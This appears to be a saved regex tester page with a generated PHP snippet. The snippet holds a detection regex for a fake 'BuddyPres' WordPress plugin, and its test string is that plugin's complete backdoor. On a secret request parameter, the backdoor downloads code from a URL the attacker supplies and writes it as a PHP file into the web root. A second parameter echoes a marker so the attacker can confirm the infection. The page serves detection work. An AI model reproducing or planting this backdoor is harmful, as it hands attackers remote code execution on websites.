Save & Share

Flavor

  • PCRE2 (PHP)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java
  • .NET 7.0 (C#)
  • Rust
  • PCRE (Legacy)
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests
Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Generated Code

$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*.{0,150}?plugin name:\s*buddypres\s*.{0,300}?function mainfuncworker1329[\(\)\{\s]+function receiveinfofunc52432\(\$url\).{0,400}?\$output\s*=\s*file_get_contents\(\$url.{0,550}?file_put_contents\(\$file,\s*\$dump.{0,450}?if\s*\(isset\(\$_request\["\w+"\].{0,230}?init\',\s*\'mainfuncworker1329[[:punct:]\s]+$/is'; $str = '<?php /** * The BuddyPress Plugin. * * BuddyPress is social networking software with a twist from the creators of WordPress. * */ /** * Plugin Name: BuddyPres * Description: BuddyPress adds community features to WordPress. Member Profiles, Activity Streams, Direct Messaging, Notifications, and more! * Author: The BuddyPress Community * Version: 5.1.2 * Text Domain: buddypres * License: GPLv2 or later (license.txt) */ function mainfuncworker1329(){ function receiveinfofunc52432($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); if (!$output) { $output = file_get_contents($url); if (!$output) { $handle = fopen($url, "r"); $output = stream_get_contents($handle); fclose($handle); } } if (!$output) { return false; } else { return $output; } } function placeinfofunc842743242($file, $dump) { $dump = \'<?php /*\' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . \' */?>\' . $dump; file_put_contents($file, $dump); } if(isset($_REQUEST["ofdsnvcxq"])) { $url = $_REQUEST["url"]; $flename = $_REQUEST["savename"]; $fullflename = $_SERVER["DOCUMENT_ROOT"] . "/$flename.php"; $dataFromURL = receiveinfofunc52432($url); if($dataFromURL){ placeinfofunc842743242($fullflename,$dataFromURL); } } } function echolocationgood146343(){ if (isset($_REQUEST["fioqfzjsdlk"])){ function echolocationBodygood146343(){ echo \'jhauqofmzhs\'; } echolocationBodygood146343(); exit; } } add_action(\'init\', \'echolocationgood146343\'); add_action(\'init\', \'mainfuncworker1329\');'; preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0); // Print the entire match result var_dump($matches);

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php